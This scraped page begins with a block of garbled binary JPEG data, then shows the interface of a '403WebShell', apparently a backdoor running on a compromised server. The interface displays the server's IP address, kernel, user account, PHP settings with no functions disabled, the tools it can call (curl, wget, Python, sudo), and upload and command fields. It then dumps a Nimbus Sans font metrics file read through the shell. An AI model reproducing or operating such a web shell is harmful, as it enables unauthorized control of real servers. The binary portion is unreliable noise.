JFIFXX    $.' ",#(7),01444'9=82<.342  2!!22222222222222222222222222222222222222222222222222"4 ,PG"Z_4˷kjزZ,F+_z,© zh6٨icfu#ډb_N?wQ5-~I8TK<5oIv-k_U_~bMdӜUHh?]EwQk{_}qFW7HTՑYF?_'ϔ_Ջt=||I 6έ"D/[k9Y8ds|\Ҿp6Ҵ].6znopM[mei$[soᘨ˸ nɜG-ĨUycP3.DBli;hjx7Z^NhN3u{:jx힞#M&jL P@_ P&o89@Sz6t7#Oߋ s}YfTlmrZ)'Nk۞pw\Tȯ?8`Oi{wﭹW[r Q4F׊3m&L=h3z~#\l :F,j@ ʱwQT8"kJO6֚l}R>ډK]y&p}b;N1mr$|7>e@BTM*-iHgD) Em|ؘbҗaҾt4oG*oCNrPQ@z,|?W[0:n,jWiEW$~/hp\?{(0+Y8rΟ+>S-SVN;}s?. w9˟<Mq4Wv'{)01mBVW[8/< %wT^5b)iM pgN&ݝVO~qu9 !J27$O-! :%H ـyΠM=t{!S oK8txA& j0 vF Y|y ~6@c1vOpIg4lODL Rcj_uX63?nkWyf;^*B @~a`Eu+6L.ü>}y}_O6͐:YrGXkGl^w~㒶syIu! W XN7BVO!X2wvGRfT#t/?%8^WaTGcLMI(J1~8?aT ]ASE(*E} 2#I/׍qz^t̔bYz4xt){ OH+(EA&NXTo"XC')}Jzp ~5}^+6wcQ|LpdH}(.|kc4^"Z?ȕ a<L!039C EuCFEwç ;n?*oB8bʝ'#RqfM}7]s2tcS{\icTx;\7KPʇ Z O-~c>"?PEO8@8GQgaՎ󁶠䧘_%#r>1zaebqcPѵn#L =׀t L7`VA{C:ge@w1 Xp3c3ġpM"'-@n4fGB3DJ8[JoߐgK)ƛ$ 83+ 6ʻ SkI*KZlT _`?KQKdB`s}>`*>,*@JdoF*弝O}ks]yߘc1GV<=776qPTtXԀ!9*44Tހ3XΛex46YD  BdemDa\_l,G/֌7Y](xTt^%GE4}bTڹ;Y)BQu>J/J ⮶.XԄjݳ+Ed r5_D1 o Bx΢#<W8R6@gM. drD>(otU@x=~v2 ӣdoBd3eO6㣷ݜ66YQz`S{\P~z m5{J/L1xO\ZFu>ck#&:`$ai>2ΔloF[hlEܺΠk:)` $[69kOw\|8}ބ:񶐕IA1/=2[,!.}gN#ub ~݊}34qdELc$"[qU硬g^%B zrpJru%v\h1Yne`ǥ:gpQM~^Xi `S:V29.PV?Bk AEvw%_9CQwKekPؠ\;Io d{ ߞoc1eP\ `E=@KIRYK2NPlLɀ)&eB+ь( JTx_?EZ }@ 6U뙢طzdWIn` D噥[uV"G&Ú2g}&m?ċ"Om# {ON"SXNeysQ@FnVgdX~nj]J58up~.`r\O,ư0oS _Ml4kv\JSdxSW<AeIX$Iw:Sy›R9Q[,5;@]%u@ *rolbI  +%m:͇ZVủθau,RW33 dJeTYE.Mϧ-oj3+yy^cVO9NV\nd1 !͕_)av;թMlWR1)ElP;yوÏu 3k5Pr6<⒲l!˞*u־n!l:UNW %Chx8vL'X@*)̮ˍ D-M+JUkvK+x8cY?Ԡ~3mo|u@[XeYC\Kpx8oCC&N~3-H MXsu<`~"WL$8ξ3a)|:@m\^`@ҷ)5p+6p%i)P Mngc#0AruzRL+xSS?ʮ}()#tmˇ!0}}y$6Lt;$ʳ{^6{v6ķܰgVcnn ~zx«,2u?cE+ȘH؎%Za)X>uWTzNyosFQƤ$*&LLXL)1" LeOɟ9=:tZcŽY?ӭVwv~,Yrۗ|yGaFC.+ v1fήJ]STBn5sW}y$~z'c 8  ,! pVNSNNqy8z˱A4*'2n<s^ǧ˭PJޮɏUGLJ*#i}K%,)[z21z ?Nin1?TIR#m-1lA`fT5+ܐcq՝ʐ,3f2Uեmab#ŠdQy>\)SLYw#.ʑf ,"+w~N'cO3FN<)j&,- љ֊_zSTǦw>?nU仆Ve0$CdrP m׈eXmVu L.bֹ [Դaզ*\y8Է:Ez\0KqC b̘cөQ=0YsNS.3.Oo:#v7[#߫ 5܎LEr49nCOWlG^0k%;YߝZǓ:S#|}y,/kLd TA(AI$+I3;Y*Z}|ӧOdv..#:nf>>ȶITX 8y"dR|)0=n46ⲑ+ra ~]R̲c?6(q;5% |uj~z8R=XIV=|{vGj\gcqz؋%Mߍ1y#@f^^>N#x#۹6Y~?dfPO{P4Vu1E1J *|%JN`eWuzk M6q t[ gGvWIGu_ft5j"Y:Tɐ*; e54q$C2d} _SL#mYpO.C;cHi#֩%+) ӍƲVSYźg |tj38r|V1#;.SQA[S#`n+$$I P\[@s(EDzP])8G#0B[ىXIIq<9~[Z멜Z⊔IWU&A>P~#dp]9 "cP Md?٥Ifتuk/F9c*9Ǎ:ØFzn*@|Iށ9N3{'['ͬҲ4#}!V Fu,,mTIkv C7vB6kT91*l '~ƞFlU'M ][ΩũJ_{iIn$L jOdxkza۪#EClx˘oVɞljr)/,߬hL#^Lф,íMƁe̩NBLiLq}(q6IçJ$WE$:=#(KBzђ xlx?>Պ+>W,Ly!_DŌlQ![ SJ1ƐY}b,+Loxɓ)=yoh@꥟/Iѭ=Py9 ۍYӘe+pJnϱ?V\SO%(t =?MR[Șd/ nlB7j !;ӥ/[-A>dNsLj ,ɪv=1c.SQO3UƀܽE̻9GϷD7(}Ävӌ\y_0[w <΍>a_[0+LF.޺f>oNTq;y\bՃyjH<|q-eɏ_?_9+PHp$[uxK wMwNی'$Y2=qKBP~Yul:[<F12O5=d]Ysw:ϮEj,_QXz`H1,#II dwrP˂@ZJVy$\y{}^~[:NߌUOdؾe${p>G3cĖlʌ ת[`ϱ-WdgIig2 }s ؤ(%#sS@~3XnRG~\jc3vӍLM[JBTs3}jNʖW;7ç?=XF=-=qߚ#='c7ڑWI(O+=:uxqe2zi+kuGR0&eniT^J~\jyp'dtGsO39* b#Ɋ p[BwsT>d4ۧsnvnU_~,vƜJ1s QIz)(lv8MU=;56Gs#KMP=LvyGd}VwWBF'à ?MHUg2 !p7Qjڴ=ju JnA suMeƆҔ!)'8Ϣٔޝ(Vpצ֖d=ICJǠ{qkԭ߸i@Ku|p=..*+xz[Aqġ#s2aƊRR)*HRsi~a &fMP-KL@ZXy'x{}Zm+:)) IJ-iu ܒH'L(7yGӜq j 6ߌg1go,kرtY?W,pefOQS!K۟cҒA|սj>=⬒˧L[ ߿2JaB~Ru:Q] 0H~]7ƼI(}cq 'ήETq?fabӥvr )o-Q_'ᴎoK;Vo%~OK *bf:-ťIR`B5!RB@ï u ̯e\_U_ gES3QTaxU<~c?*#]MW,[8Oax]1bC|踤Plw5V%){t<d50iXSUm:Z┵i"1^B-PhJ&)O*DcWvM)}Pܗ-q\mmζZ-l@}aE6F@&Sg@ݚM ȹ 4#p\HdYDoH"\..RBHz_/5˘6KhJRPmƶim3,#ccoqa)*PtRmk7xDE\Y閣_X<~)c[[BP6YqS0%_;Àv~| VS؇ 'O0F0\U-d@7SJ*z3nyPOm~P3|Yʉr#CSN@ ƮRN)r"C:: #qbY. 6[2K2uǦHYRQMV G$Q+.>nNHq^ qmMVD+-#*U̒ p욳u:IBmPV@Or[b= 1UE_NmyKbNOU}the`|6֮P>\2PVIDiPO;9rmAHGWS]J*_G+kP2KaZH'KxWMZ%OYDRc+o?qGhmdSoh\D|:WUAQc yTq~^H/#pCZTI1ӏT4"ČZ}`w#*,ʹ 0i課Om*da^gJ݅{le9uF#Tֲ̲ٞC"qߍ ոޑo#XZTp@ o8(jdxw],f`~|,s^f1t|m򸄭/ctr5s79Q4H1꠲BB@l9@C+wpxu£Yc9?`@#omHs2)=2.ljg9$YS%*LRY7Z,*=䷘$armoϰUW.|rufIGwtZwo~5 YյhO+=8fF)W7L9lM̘·Y֘YLf큹pRF99.A "wz=E\Z'a 2Ǚ#;'}G*l^"q+2FQ hjkŦ${ޮ-T٭cf|3#~RJt$b(R(rdx >U b&9,>%E\ Άe$'q't*אެb-|dSBOO$R+H)܎K1m`;J2Y~9Og8=vqD`K[F)k[1m޼cn]skz$@)!I x՝"v9=ZA=`Ɠi :E)`7vI}dYI_ o:obo 3Q&D&2= Ά;>hy.*ⅥSӬ+q&j|UƧ}J0WW< ۋS)jQRjƯrN)Gű4Ѷ(S)Ǣ8iW52No˓ ۍ%5brOnL;n\G=^UdI8$&h'+(cȁ߫klS^cƗjԌEꭔgFȒ@}O*;evWVYJ\]X'5ղkFb 6Ro՜mi Ni>J?lPmU}>_Z&KKqrIDՉ~q3fL:Se>E-G{L6pe,8QIhaXaUA'ʂs+טIjP-y8ۈZ?J$WP Rs]|l(ԓsƊio(S0Y 8T97.WiLc~dxcE|2!XKƘਫ਼$((6~|d9u+qd^389Y6L.I?iIq9)O/뚅OXXVZF[یgQLK1RҖr@v#XlFНyS87kF!AsM^rkpjPDyS$Nqnxҍ!Uf!ehi2m`YI9r6 TFC}/y^Η5d'9A-J>{_l+`A['յϛ#w:݅%X}&PStQ"-\縵/$ƗhXb*yBS;Wջ_mcvt?2}1;qSdd~u:2k52R~z+|HE!)Ǟl7`0<,2*Hl-x^'_TVgZA'j ^2ΪN7t?w x1fIzC-ȖK^q;-WDvT78Z hK(P:Q- 8nZ܃e貾<1YT<,"6{/ ?͟|1:#gW>$dJdB=jf[%rE^il:BxSּ1հ,=*7 fcG#q eh?27,!7x6nLC4x},GeǝtC.vS F43zz\;QYC,6~;RYS/6|25vTimlv& nRh^ejRLGf? ۉҬܦƩ|Ȱ>3!viʯ>vオX3e_1zKȗ\qHS,EW[㺨uch⍸O}a>q6n6N6qN ! 1AQaq0@"2BRb#Pr3C`Scst$4D%Td ?Na3mCwxAmqmm$4n淿t'C"wzU=D\R+wp+YT&պ@ƃ3ޯ?AﶂaŘ@-Q=9Dռѻ@MVP܅G5fY6# ?0UQ,IX(6ڵ[DIMNލc&υj\XR|,4 jThAe^db#$]wOӪ1y%LYm뭛CUƃߜ}Cy1XνmF8jI]HۺиE@Ii;r8ӭVFՇ| &?3|xBMuSGe=Ӕ#BE5GY!z_eqр/W>|-Ci߇t1ޯќdR3ug=0 5[?#͏qcfH{ ?u=??ǯ}ZzhmΔBFTWPxs}G93 )gGR<>r h$'nchPBjJҧH -N1N?~}-q!=_2hcMlvY%UE@|vM2.Y[|y"EïKZF,ɯ?,q?vM 80jx";9vk+ ֧ ȺU?%vcVmA6Qg^MA}3nl QRNl8kkn'(M7m9وq%ޟ*h$Zk"$9: ?U8Sl,,|ɒxH(ѷGn/Q4PG%Ա8N! &7;eKM749R/%lc>x;>C:th?aKXbheᜋ^$Iհ hr7%F$EFdt5+(M6tÜUU|zW=aTsTgdqPQb'm1{|YXNb P~F^F:k6"j! Ir`1&-$Bevk:y#ywI0x=D4tUPZHڠ底taP6b>xaQ# WeFŮNjpJ* mQN*I-*ȩFg3 5Vʊɮa5FO@{NX?H]31Ri_uѕ 0 F~:60p͈SqX#a5>`o&+<2D: ڝ$nP*)N|yEjF5ټeihyZ >kbHavh-#!Po=@k̆IEN@}Ll?jO߭ʞQ|A07xwt!xfI2?Z<ץTcUj]陎Ltl }5ϓ$,Omˊ;@OjEj(ا,LXLOЦ90O .anA7j4 W_ٓzWjcBy՗+EM)dNg6y1_xp$Lv:9"zpʙ$^JԼ*ϭo=xLj6Ju82AH3$ٕ@=Vv]'qEz;I˼)=ɯx /W(Vp$ mu񶤑OqˎTr㠚xsrGCbypG1ߠw e8$⿄/M{*}W]˷.CK\ުx/$WPwr |i&}{X >$-l?-zglΆ(FhvS*b߲ڡn,|)mrH[a3ר[13o_U3TC$(=)0kgP u^=4 WYCҸ:vQרXàtkm,t*^,}D* "(I9R>``[~Q]#afi6l86:,ssN6j"A4IuQ6E,GnHzSHOuk5$I4ؤQ9@CwpBGv[]uOv0I4\yQѸ~>Z8Taqޣ;za/SI:ܫ_|>=Z8:SUIJ"IY8%b8H:QO6;7ISJҌAά3>cE+&jf$eC+z;V rʺmyeaQf&6ND.:NTvm<- uǝ\MvZYNNT-A>jr!SnO 13Ns%3D@`ܟ 1^c< aɽ̲Xë#w|ycW=9I*H8p^(4՗karOcWtO\ƍR8'KIQ?5>[}yUײ -h=% qThG2)"ו3]!kB*pFDlA,eEiHfPs5H:Փ~H0DتDIhF3c2E9H5zԑʚiX=:mxghd(v׊9iSOd@0ڽ:p5h-t&Xqӕ,ie|7A2O%PEhtjY1wЃ!  ࢽMy7\a@ţJ 4ȻF@o̒?4wx)]P~u57X 9^ܩU;Iꭆ 5 eK27({|Y׎ V\"Z1 Z}(Ǝ"1S_vE30>p; ΝD%xW?W?vo^Vidr[/&>~`9Why;R ;;ɮT?r$g1KACcKl:'3 cﳯ*"t8~l)m+U,z`(>yJ?h>]vЍG*{`;y]IT ;cNUfo¾h/$|NS1S"HVT4uhǜ]v;5͠x'C\SBplh}N ABx%ޭl/Twʽ]D=Kžr㻠l4SO?=k M: cCa#ha)ѐxcsgPiG{+xQI= zԫ+ 8"kñj=|c yCF/*9жh{ ?4o kmQNx;Y4膚aw?6>e]Qr:g,i"ԩA*M7qB?ӕFhV25r[7 Y }LR}*sg+xr2U=*'WSZDW]WǞ<叓{$9Ou4y90-1'*D`c^o?(9uݐ'PI& fJݮ:wSjfP1F:X H9dԯ˝[_54 }*;@ܨ ðynT?ןd#4rGͨH1|-#MrS3G3).᧏3vz֑r$G"`j 1tx0<ƆWh6y6,œGagAyb)hDß_mü gG;evݝnQ C-*oyaMI><]obD":GA-\%LT8c)+y76oQ#*{(F⽕y=rW\p۩cA^e6KʐcVf5$'->ՉN"F"UQ@fGb~#&M=8טJNu9D[̤so~ G9TtW^g5y$bY'سǴ=U-2 #MCt(i lj@Q 5̣i*OsxKf}\M{EV{υƇ);HIfeLȣr2>WIȂ6ik 5YOxȺ>Yf5'|H+98pjn.OyjY~iw'l;s2Y:'lgꥴ)o#'SaaKZ m}`169n"xI *+ }FP"l45'ZgE8?[X7(.Q-*ތL@̲v.5[=t\+CNܛ,gSQnH}*FG16&:t4ُ"Ạ$b |#rsaT ]ӽDP7ո0y)e$ٕvIh'QEAm*HRI=: 4牢) %_iNݧl] NtGHL ɱg<1V,J~ٹ"KQ 9HS9?@kr;we݁]I!{ @G["`J:n]{cAEVʆ#U96j#Ym\qe4hB7Cdv\MNgmAyQL4uLjj9#44tl^}LnR!t±]rh6ٍ>yҏNfU  Fm@8}/ujb9he:AyծwGpΧh5l}3p468)Udc;Us/֔YX1O2uqs`hwgr~{ RmhN؎*q 42*th>#E#HvOq}6e\,Wk#Xb>p}դ3T5†6[@Py*n|'f֧>lư΂̺SU'*qp_SM 'c6m ySʨ;MrƋmKxo,GmPAG:iw9}M(^V$ǒѽ9| aJSQarB;}ٻ֢2%Uc#gNaݕ'v[OY'3L3;,p]@S{lsX'cjwk'a.}}& dP*bK=ɍ!;3ngΊUߴmt'*{,=SzfD Ako~Gaoq_mi}#mPXhύmxǍ΂巿zfQc|kc?WY$_Lvl߶c`?ljݲˏ!V6UЂ(A4y)HpZ_x>eR$/`^'3qˏ-&Q=?CFVR DfV9{8gnh(P"6[D< E~0<@`G6Hгcc cK.5DdB`?XQ2ٿyqo&+1^ DW0ꊩG#QnL3c/x 11[yxპCWCcUĨ80me4.{muI=f0QRls9f9~fǨa"@8ȁQ#cicG$Gr/$W(WV"m7[mAmboD j۳ l^kh׽ # iXnveTka^Y4BNĕ0 !01@Q"2AaPq3BR?@4QT3,㺠W[=JKϞ2r^7vc:9 EߴwS#dIxu:Hp9E! V 2;73|F9Y*ʬFDu&y؟^EAA(ɩ^GV:ݜDy`Jr29ܾ㝉[E;FzxYGUeYC v-txIsםĘqEb+P\ :>iC';k|zرny]#ǿbQw(r|ӹs[D2v-%@;8<a[\o[ϧwI!*0krs)[J9^ʜp1) "/_>o<1AEy^C`x1'ܣnps`lfQ):lb>MejH^?kl3(z:1ŠK&?Q~{ٺhy/[V|6}KbXmn[-75q94dmc^h X5G-}دBޟ |rtMV+]c?-#ڛ^ǂ}LkrOu>-Dry D?:ޞUǜ7V?瓮"#rչģVR;n/_ ؉vݶe5db9/O009G5nWJpA*r9>1.[tsFnQ V 77R]ɫ8_0<՜IFu(v4Fk3E)N:yڮeP`1}$WSJSQNjٺ޵#lј(5=5lǏmoWv-1v,Wmn߀$x_DȬ0¤#QR[Vkzmw"9ZG7'[=Qj8R?zf\a=OU*oBA|G254 p.w7  &ξxGHp B%$gtЏ򤵍zHNuЯ-'40;_3 !01"@AQa2Pq#3BR?ʩcaen^8F<7;EA{EÖ1U/#d1an.1ě0ʾRh|RAo3m3 % 28Q yφHTo7lW>#i`qca m,B-j݋'mR1Ήt>Vps0IbIC.1Rea]H64B>o]($Bma!=?B KǾ+Ծ"nK*+[T#{EJSQs5:U\wĐf3܆&)IԆwE TlrTf6Q|Rh:[K zc֧GC%\_a84HcObiؖV7H )*ģK~Xhչ04?0 E<}3#u? |gS6ꊤ|I#Hڛ աwX97Ŀ%SLy6č|Fa 8b$sקhb9RAu7˨pČ_\*w묦F 4D~f|("mNKiS>$d7SlA/²SL|6N}S˯g]6; #. 403WebShell
403Webshell
Server IP : 45.32.152.128  /  Your IP : 216.73.216.105
Web Server : nginx/1.24.0
System : Linux stage-vultr 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : forge ( 1000)
PHP Version : 8.2.14
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/fonts/type1/gsfonts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/fonts/type1/gsfonts/n019063l.afm
StartFontMetrics 2.0
Comment Generated by FontForge 20070723
Comment Creation Date: Thu Aug  2 14:46:21 2007
FontName NimbusSanL-ReguCondItal
FullName Nimbus Sans L Regular Condensed Italic
FamilyName Nimbus Sans L
Weight Regular
Notice (Copyright (URW)++,Copyright 1999 by (URW)++ Design & Development; Cyrillic glyphs added by Valek Filippov (C) 2001-2005)
ItalicAngle -9.9
IsFixedPitch false
UnderlinePosition -100
UnderlineThickness 50
Version 1.06
EncodingScheme AdobeStandardEncoding
FontBBox -139 -286 1021 959
CapHeight 718
XHeight 523
Ascender 718
Descender -207
StartCharMetrics 562
C 32 ; WX 228 ; N space ; B 0 0 0 0 ;
C 33 ; WX 228 ; N exclam ; B 74 0 278 718 ;
C 34 ; WX 291 ; N quotedbl ; B 138 463 359 718 ;
C 35 ; WX 456 ; N numbersign ; B 60 0 517 688 ;
C 36 ; WX 456 ; N dollar ; B 57 -115 506 775 ;
C 37 ; WX 729 ; N percent ; B 120 -19 729 703 ;
C 38 ; WX 547 ; N ampersand ; B 63 -15 530 718 ;
C 39 ; WX 182 ; N quoteright ; B 124 463 254 718 ;
C 40 ; WX 273 ; N parenleft ; B 89 -207 372 733 ;
C 41 ; WX 273 ; N parenright ; B -7 -207 276 733 ;
C 42 ; WX 319 ; N asterisk ; B 135 431 389 718 ;
C 43 ; WX 479 ; N plus ; B 70 0 497 505 ;
C 44 ; WX 228 ; N comma ; B 46 -147 175 106 ;
C 45 ; WX 273 ; N hyphen ; B 77 232 293 322 ;
C 46 ; WX 228 ; N period ; B 71 0 175 106 ;
C 47 ; WX 228 ; N slash ; B -17 -19 370 737 ;
C 48 ; WX 456 ; N zero ; B 77 -19 499 703 ;
C 49 ; WX 456 ; N one ; B 170 0 417 703 ;
C 50 ; WX 456 ; N two ; B 21 0 506 703 ;
C 51 ; WX 456 ; N three ; B 61 -19 500 703 ;
C 52 ; WX 456 ; N four ; B 50 0 472 703 ;
C 53 ; WX 456 ; N five ; B 55 -19 509 688 ;
C 54 ; WX 456 ; N six ; B 74 -19 504 703 ;
C 55 ; WX 456 ; N seven ; B 112 0 549 688 ;
C 56 ; WX 456 ; N eight ; B 60 -19 497 703 ;
C 57 ; WX 456 ; N nine ; B 67 -19 499 703 ;
C 58 ; WX 228 ; N colon ; B 71 0 247 516 ;
C 59 ; WX 228 ; N semicolon ; B 46 -147 247 516 ;
C 60 ; WX 479 ; N less ; B 77 10 526 496 ;
C 61 ; WX 479 ; N equal ; B 52 115 515 390 ;
C 62 ; WX 479 ; N greater ; B 41 10 490 496 ;
C 63 ; WX 456 ; N question ; B 132 0 500 727 ;
C 64 ; WX 832 ; N at ; B 176 -19 791 737 ;
C 65 ; WX 547 ; N A ; B 11 0 536 718 ;
C 66 ; WX 547 ; N B ; B 61 0 583 718 ;
C 67 ; WX 592 ; N C ; B 88 -19 640 737 ;
C 68 ; WX 592 ; N D ; B 66 0 626 718 ;
C 69 ; WX 547 ; N E ; B 71 0 625 718 ;
C 70 ; WX 501 ; N F ; B 71 0 603 718 ;
C 71 ; WX 638 ; N G ; B 91 -19 655 737 ;
C 72 ; WX 592 ; N H ; B 63 0 655 718 ;
C 73 ; WX 228 ; N I ; B 75 0 279 718 ; L J IJ ;
C 74 ; WX 410 ; N J ; B 39 -19 476 718 ;
C 75 ; WX 547 ; N K ; B 62 0 662 718 ;
C 76 ; WX 456 ; N L ; B 62 0 455 718 ; L periodcentered Ldot ;
C 77 ; WX 683 ; N M ; B 60 0 749 718 ;
C 78 ; WX 592 ; N N ; B 62 0 655 718 ; L o afii61352 ;
C 79 ; WX 638 ; N O ; B 86 -19 677 737 ;
C 80 ; WX 547 ; N P ; B 71 0 604 718 ;
C 81 ; WX 638 ; N Q ; B 86 -56 677 737 ;
C 82 ; WX 592 ; N R ; B 72 0 634 718 ;
C 83 ; WX 547 ; N S ; B 74 -19 584 737 ;
C 84 ; WX 501 ; N T ; B 122 0 615 718 ; L M trademark ;
C 85 ; WX 592 ; N U ; B 101 -19 653 718 ;
C 86 ; WX 547 ; N V ; B 142 0 656 718 ;
C 87 ; WX 774 ; N W ; B 138 0 886 718 ;
C 88 ; WX 547 ; N X ; B 16 0 647 718 ;
C 89 ; WX 547 ; N Y ; B 137 0 661 718 ;
C 90 ; WX 501 ; N Z ; B 19 0 607 718 ;
C 91 ; WX 228 ; N bracketleft ; B 17 -196 331 722 ;
C 92 ; WX 228 ; N backslash ; B 115 -19 239 737 ;
C 93 ; WX 228 ; N bracketright ; B -11 -196 302 722 ;
C 94 ; WX 385 ; N asciicircum ; B 35 264 442 688 ;
C 95 ; WX 456 ; N underscore ; B -22 -125 443 -75 ;
C 96 ; WX 182 ; N quoteleft ; B 135 470 265 725 ;
C 97 ; WX 456 ; N a ; B 50 -15 458 538 ;
C 98 ; WX 456 ; N b ; B 48 -15 479 718 ;
C 99 ; WX 410 ; N c ; B 61 -15 454 538 ;
C 100 ; WX 456 ; N d ; B 69 -15 534 718 ;
C 101 ; WX 456 ; N e ; B 69 -15 474 538 ;
C 102 ; WX 228 ; N f ; B 71 0 341 728 ; L l fl ; L i fi ;
C 103 ; WX 456 ; N g ; B 34 -220 500 538 ;
C 104 ; WX 456 ; N h ; B 53 0 470 718 ;
C 105 ; WX 182 ; N i ; B 55 0 252 718 ; L j ij ;
C 106 ; WX 182 ; N j ; B -49 -210 252 718 ;
C 107 ; WX 410 ; N k ; B 55 0 492 718 ;
C 108 ; WX 182 ; N l ; B 55 0 252 718 ; L periodcentered ldot ;
C 109 ; WX 683 ; N m ; B 53 0 699 538 ;
C 110 ; WX 456 ; N n ; B 53 0 470 538 ;
C 111 ; WX 456 ; N o ; B 68 -14 479 538 ;
C 112 ; WX 456 ; N p ; B 11 -207 479 538 ;
C 113 ; WX 456 ; N q ; B 69 -207 496 538 ;
C 114 ; WX 273 ; N r ; B 63 0 365 538 ;
C 115 ; WX 410 ; N s ; B 52 -15 434 538 ;
C 116 ; WX 228 ; N t ; B 84 -7 302 669 ;
C 117 ; WX 456 ; N u ; B 77 -15 492 523 ;
C 118 ; WX 410 ; N v ; B 98 0 495 523 ;
C 119 ; WX 592 ; N w ; B 103 0 673 523 ;
C 120 ; WX 410 ; N x ; B 9 0 487 523 ;
C 121 ; WX 410 ; N y ; B 12 -214 492 523 ;
C 122 ; WX 410 ; N z ; B 25 0 468 523 ;
C 123 ; WX 274 ; N braceleft ; B 75 -196 365 722 ;
C 124 ; WX 213 ; N bar ; B 74 -19 265 737 ;
C 125 ; WX 274 ; N braceright ; B 0 -196 291 722 ;
C 126 ; WX 479 ; N asciitilde ; B 91 181 476 322 ;
C 161 ; WX 273 ; N exclamdown ; B 63 -195 267 523 ;
C 162 ; WX 456 ; N cent ; B 78 -115 479 623 ;
C 163 ; WX 456 ; N sterling ; B 40 -16 520 718 ;
C 164 ; WX 137 ; N fraction ; B -139 -19 396 703 ;
C 165 ; WX 456 ; N yen ; B 67 0 573 688 ;
C 166 ; WX 456 ; N florin ; B -43 -207 537 737 ;
C 167 ; WX 456 ; N section ; B 63 -191 479 737 ;
C 168 ; WX 456 ; N currency ; B 49 99 530 603 ;
C 169 ; WX 157 ; N quotesingle ; B 129 463 233 718 ;
C 170 ; WX 273 ; N quotedblleft ; B 113 470 378 725 ;
C 171 ; WX 456 ; N guillemotleft ; B 120 108 454 446 ;
C 172 ; WX 273 ; N guilsinglleft ; B 112 108 279 446 ;
C 173 ; WX 273 ; N guilsinglright ; B 91 108 257 446 ;
C 174 ; WX 410 ; N fi ; B 71 0 481 728 ;
C 175 ; WX 410 ; N fl ; B 71 0 479 728 ;
C 177 ; WX 456 ; N endash ; B 42 240 510 313 ;
C 178 ; WX 456 ; N dagger ; B 110 -159 510 718 ;
C 179 ; WX 456 ; N daggerdbl ; B 43 -159 511 718 ;
C 180 ; WX 228 ; N periodcentered ; B 106 190 211 315 ;
C 182 ; WX 440 ; N paragraph ; B 103 -173 533 718 ;
C 183 ; WX 287 ; N bullet ; B 74 202 339 517 ;
C 184 ; WX 182 ; N quotesinglbase ; B 17 -149 147 106 ;
C 185 ; WX 273 ; N quotedblbase ; B -5 -149 260 106 ;
C 186 ; WX 273 ; N quotedblright ; B 102 463 367 718 ;
C 187 ; WX 456 ; N guillemotright ; B 98 108 433 446 ;
C 188 ; WX 820 ; N ellipsis ; B 94 0 744 106 ;
C 189 ; WX 820 ; N perthousand ; B 72 -19 844 703 ;
C 191 ; WX 501 ; N questiondown ; B 70 -201 438 525 ;
C 193 ; WX 273 ; N grave ; B 139 593 276 734 ;
C 194 ; WX 273 ; N acute ; B 203 593 390 734 ;
C 195 ; WX 273 ; N circumflex ; B 121 593 359 734 ;
C 196 ; WX 273 ; N tilde ; B 102 606 402 722 ;
C 197 ; WX 273 ; N macron ; B 117 627 384 684 ;
C 198 ; WX 273 ; N breve ; B 137 595 391 731 ;
C 199 ; WX 273 ; N dotaccent ; B 204 604 297 706 ;
C 200 ; WX 273 ; N dieresis ; B 138 604 363 706 ;
C 202 ; WX 273 ; N ring ; B 175 572 330 756 ;
C 203 ; WX 273 ; N cedilla ; B 2 -225 191 0 ;
C 205 ; WX 273 ; N hungarumlaut ; B 129 593 463 734 ;
C 206 ; WX 273 ; N ogonek ; B 35 -225 204 0 ;
C 207 ; WX 273 ; N caron ; B 145 593 384 734 ;
C 208 ; WX 820 ; N emdash ; B 42 240 875 313 ;
C 225 ; WX 820 ; N AE ; B 7 0 899 718 ;
C 227 ; WX 303 ; N ordfeminine ; B 82 304 368 737 ;
C 232 ; WX 456 ; N Lslash ; B 34 0 455 718 ;
C 233 ; WX 638 ; N Oslash ; B 35 -19 730 737 ;
C 234 ; WX 820 ; N OE ; B 80 -19 915 737 ;
C 235 ; WX 299 ; N ordmasculine ; B 82 304 384 737 ;
C 241 ; WX 729 ; N ae ; B 50 -15 746 538 ;
C 245 ; WX 228 ; N dotlessi ; B 78 0 241 523 ;
C 248 ; WX 182 ; N lslash ; B 34 0 284 718 ;
